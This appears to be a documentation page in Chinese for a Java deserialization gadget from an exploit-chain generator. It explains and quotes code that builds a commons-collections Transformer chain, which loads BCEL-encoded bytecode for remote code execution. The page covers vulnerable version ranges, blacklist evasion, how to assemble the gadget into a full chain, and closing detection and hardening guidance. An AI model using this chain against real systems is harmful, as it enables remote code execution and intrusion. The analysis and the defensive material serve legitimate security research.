Skip to content

Latest commit

 

History

History
122 lines (90 loc) · 9.78 KB

File metadata and controls

122 lines (90 loc) · 9.78 KB

CC Transform链加载BCEL(TransformerWithBcel)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖<=commons-collections 3.2.1or <=commons-collections 4.0jdk < 8u251
  • 继承AbstractTransformerimplements Gadget

作用

构造一条 commons-collections 的 Transformer[] 链(ChainedTransformer 的载荷数组),在被上游 CC 入口触发 transform() 时,依次反射实例化 JDK 内置的 com.sun.org.apache.bcel.internal.util.ClassLoader,用它的 loadClass 解码并 defineClass 一段 BCEL 编码的恶意字节码$$BCEL$$ 前缀字符串),最后 newInstance 触发执行。它是不依赖 TemplatesImpl 的字节码落地方式,用于绕过针对 TemplatesImpl 的类黑名单。

链接标签

  • 入口 tagsTransformerChains —— 承接一个「消费 Transformer[] 数组」的上游 CC 入口 gadget(如 CommonsCollectionsK3(CC3.2.1)、CommonsCollectionsK4(CC4.0),其 nextTags=TransformerChains)。上游把本 gadget 产出的数组装进 ChainedTransformer/LazyMap 等结构,反序列化时驱动 transform()
  • 衔接 nextTagsBCEL_Expr —— 之后需接一个产出「BCEL 字符串」的 gadget(其 tagsBCEL_Expr),典型为 BcelConvert(把 byte[] 字节码编码为 $$BCEL$$... 字符串)或 UserCustomExpr(直接给定字符串)。该字符串由 chain.doCreate 从下游取得后嵌入本链。
  • excludes:无。

源码剖析

本类只有两个方法:invoke(框架入口)与 getObject(构造载荷)。

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String version = context.getString(ContextTag.CC_VERSION);   // 读取 CC 大版本 "3"/"4"
    this.initClazz(version);                                      // 按版本解析 Transformer 相关类
    String bcelString = (String)chain.doCreate(context);         // 由下游 gadget 产出 BCEL 字符串
    return this.getObject(bcelString);                           // 构造 Transformer[] 数组
}

invoke 遵循「由内向外」构建:先从 GadgetContextCC_VERSION(决定用 commons-collections(3) 还是 commons-collections4(4) 的类名),调 chain.doCreate(context) 拿到内层 gadget 产出的 BCEL 编码字符串,再把它嵌入本层的 Transformer[]

initClazz 在基类 AbstractTransformer 中,按版本用 Class.forName 动态解析四个 Transformer 类,从而同一套逻辑兼容 CC3 与 CC4(类包名不同):

// AbstractTransformer.initClazz(version)  —— 节选 version=="3" 分支
this.transformerClazz          = Class.forName("org.apache.commons.collections.Transformer");
this.constantTransformerClazz  = Class.forName("org.apache.commons.collections.functors.ConstantTransformer");
this.invokerTransformerClazz   = Class.forName("org.apache.commons.collections.functors.InvokerTransformer");
this.instantiateTransformer    = Class.forName("org.apache.commons.collections.functors.InstantiateTransformer");
// version=="4" 分支改用 org.apache.commons.collections4.* 包

核心载荷在 getObject,构造出经典的 BCEL ClassLoader 链:

public Object getObject(String bcelString) throws Exception {
    LinkedList<Object> transformers = new LinkedList<Object>();
    transformers.add(this.createConstantTransformer(ClassLoader.class));                                  // [0]
    transformers.add(this.createInvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]})); // [1]
    transformers.add(this.createInvokerTransformer("newInstance",    new Class[]{Object[].class}, new Object[]{new String[0]})); // [2]
    transformers.add(this.createInvokerTransformer("loadClass",      new Class[]{String.class},  new Object[]{bcelString}));     // [3]
    transformers.add(this.createInvokerTransformer("newInstance",    new Class[0],               new Object[0]));                // [4]
    return this.createTransformerArray(transformers);
}

其中 ClassLoaderimport com.sun.org.apache.bcel.internal.util.ClassLoader(JDK 内置 BCEL 的类加载器,非 java.lang.ClassLoader)。当上游把该数组装入 ChainedTransformer 并触发 transform(input) 时,前一环的输出作为后一环的输入,逐环执行:

# Transformer 输入 → 反射调用 → 输出
[0] ConstantTransformer(ClassLoader.class) 忽略输入,恒定返回 BCEL 的 ClassLoader Class 对象
[1] InvokerTransformer("getConstructor", {Class[]}, {new Class[0]}) 对上一步的 Class 调用 getConstructor(),取其无参构造器
[2] InvokerTransformer("newInstance", {Object[]}, {new String[0]}) 对该构造器调用 newInstance(),得到一个 BCEL ClassLoader 实例
[3] InvokerTransformer("loadClass", {String}, {bcelString}) 对该实例调用 loadClass("$$BCEL$$..."),BCEL 加载器识别 $$BCEL$$ 前缀,解码其后的字节码并 defineClass,返回恶意 Class
[4] InvokerTransformer("newInstance", {}, {}) 对该恶意 Class 调用无参 newInstance(),实例化触发其构造器/静态块中的 payload(RCE)

基类的两个工厂方法通过 Reflections.newInstance 按版本类名反射构造 CC 的 Transformer 对象,避免直接引用 CC3/CC4 具体类:

public Object createConstantTransformer(Object args) throws Exception {
    return Reflections.newInstance(this.constantTransformerClazz.getName(), new Class[]{Object.class}, args);
}
public Object createInvokerTransformer(Object ... args) throws Exception {
    return Reflections.newInstance(this.invokerTransformerClazz.getName(),
            new Class[]{String.class, Class[].class, Object[].class}, args);   // 对应 InvokerTransformer(methodName, paramTypes, args)
}

createTransformerArrayArray.newInstance(transformerClazz, n) 建一个元素类型为版本对应 Transformer 接口的数组并填充——这一步很关键:ChainedTransformer 的字段是 Transformer[],若用 Object[] 会类型不符,故按版本反射建数组。

触发链本质getObject 只是产出「原料数组」,真正的 transform() 遍历发生在上游入口 gadget(K3/K4 之类)反序列化时。因此本 gadget 无法单独利用,必须置于一条完整链的中段。

参数(@Param)

本类无 @Param。行为完全由上下文与上下游驱动:

  • CC_VERSION:由链上下文(上游 CC 入口 gadget)注入,取值 "3"/"4",决定使用 commons-collections 还是 commons-collections4 的类。
  • bcelString:由下游 BCEL_Expr gadget(如 BcelConvert)经 chain.doCreate 提供,无需在本条目手工配置。

适用版本与原理要点

  • CC 版本<=commons-collections 3.2.1<=commons-collections 4.0。关键在于这些版本的 InvokerTransformer 可被序列化并在反序列化路径上被调用(3.2.2 起 InvokerTransformer 默认反序列化被 FunctorUtils 拦截)。
  • JDK 版本jdk < 8u251com.sun.org.apache.bcel.internal.util.ClassLoaderJDK 8u251 起被移除(BCEL 从 JDK 内部包剥离),此后本路径不可用。低版本 JDK6/7/8(<251) 均可。
  • 为何用 BCEL 而非 TemplatesImplTemplatesImpl 路径常被 WAF/反序列化黑名单重点拦截;BCEL ClassLoader 以 Class → getConstructor → newInstance → loadClass → newInstance 的纯反射链落地字节码,特征不同,可绕过针对 TemplatesImpl/defineClass 的类名黑名单。与同族的 TransformerWithDefiningClassLoader(用 mozilla DefiningClassLoader)目的一致、载体不同。
  • 坑点$$BCEL$$ 前缀不可少;BCEL 解码对超长字节码可能生成过长字符串导致方法/常量池限制,复杂 payload 建议改用其它落地方式。

所属预设链

usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按标签手工组合,典型形态:

[CommonsCollectionsK3/K4 (入口), TransformerWithBcel, BcelConvert, Exec]

执行序(sink 先产出,由内向外包装):Exec 产出恶意字节码 byte[]BcelConvert 编码为 $$BCEL$$ 字符串 → TransformerWithBcel 嵌入 Transformer[]K3/K4 装入 CC 入口结构交序列化。

关联

防御与检测

  • 检测特征:序列化流中出现 ConstantTransformer + 多个 InvokerTransformer(方法名 getConstructor/newInstance/loadClass 组合),且载荷字符串含 $$BCEL$$ 前缀,是本链的强指纹;类名 com.sun.org.apache.bcel.internal.util.ClassLoader 出现在反序列化上下文即高危。
  • 加固建议
    • 升级 commons-collections 到 3.2.2+/4.1+(InvokerTransformer 默认禁止反序列化);
    • 升级 JDK 到 8u251+(BCEL 内部类被移除,该路径失效);
    • 部署反序列化白名单(如 ObjectInputFilter/JEP 290),禁止 org.apache.commons.collections(4).functors.*
    • WAF/IDS 对 $$BCEL$$ 字节流特征与 InvokerTransformer 方法名序列告警。